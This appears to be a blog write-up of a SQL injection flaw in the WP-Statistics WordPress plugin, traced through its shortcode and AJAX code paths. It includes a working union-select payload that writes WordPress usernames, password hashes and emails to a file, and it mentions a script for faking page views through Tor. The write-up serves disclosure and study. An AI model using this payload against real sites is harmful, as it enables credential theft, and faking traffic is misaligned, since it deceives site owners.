WP-Statistics Plugin Version <= 12.0.7
Least Permission account : Subscriber account (with post edit permission)
Why it easy to exploit?
This vulnerability is caused by the lack of sanitization in user provided data.
An attacker with at least a subscriber account could leak sensitive data and under the right circumstances/configurations compromise your WordPress installation.
How it actually Works?
WordPress provides an API that enables developers to create content that users caninject to certain pages just using a simple shortcode:
[shortcode atts_1=”test” atts_2=”test”]
Among other functionalities, WP Statistics allows admin users to get detailed information related with the number of visits by just calling the shortcode below:
As you can see on the above code a1, some attributes of the shortcode wpstatistics are being passed as parameters for important functions and this shouldn’t be a problem if those parameters were sanitized,but as we’ll see this is not the case.
For example: $result = wp_statistics_searchengine( $atts['provider'], $atts['time'] );
One of the vulnerable functions wp_statistics_searchengine_query() in the file “includes/functions/functions.php” is accessible through WordPress’ AJAX functionality through function wp_ajax_parse_media_shortcode().
This function doesn’t check for additional privileges, allowing subscribers to execute this shortcode and inject malicious data to its attributes.
In a number places in the code, user input coming from attributes of the wpstatistics’ shortcode are included in SQL queries without being sanitized. Below one of the queries that were exploitable:
The wp_statistics_searchengine_query() basically returns the same value
as the one passed in the shortcode attribute provider and its content is
added directly to the raw SQL query.
Exploit Phase:
When user (subscriber) enter shortcode in post as [wpstatistics stat="searches"provider="Google"]
it will call wp_statistics_searchengine() with provider="Google", then it call another function wp_statistics_searchengine_query( ), as a result it form a SQL query and stored in variable in $search_query.
$search_query.="`engine` = '{$search_engine}'";
Here search engine = "Google". which will be as $search_query = "`engine` = 'Google'"
It is directly input in most of the SQL queries i.e see below SQL queries statement
$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d' )}' AND {$search_query}" );
so user input is not sanitized on parameter provider, so which allow user to injection any malicious queries to fetch data from database
For Example: This payload will get username, password and email from database and stored into test.txt file.
[wpstatistics stat="searches" provider="123' union select
1,2,user_login,user_pass,user_email,6 from wp_users into outfile
'/var/www/html/waf-demo/wp-content/uploads/test.txt'#"]
We create this python script for fun to increase blog user view traffic on website through Tor Network i.e blog user view with different country IP address for every request:)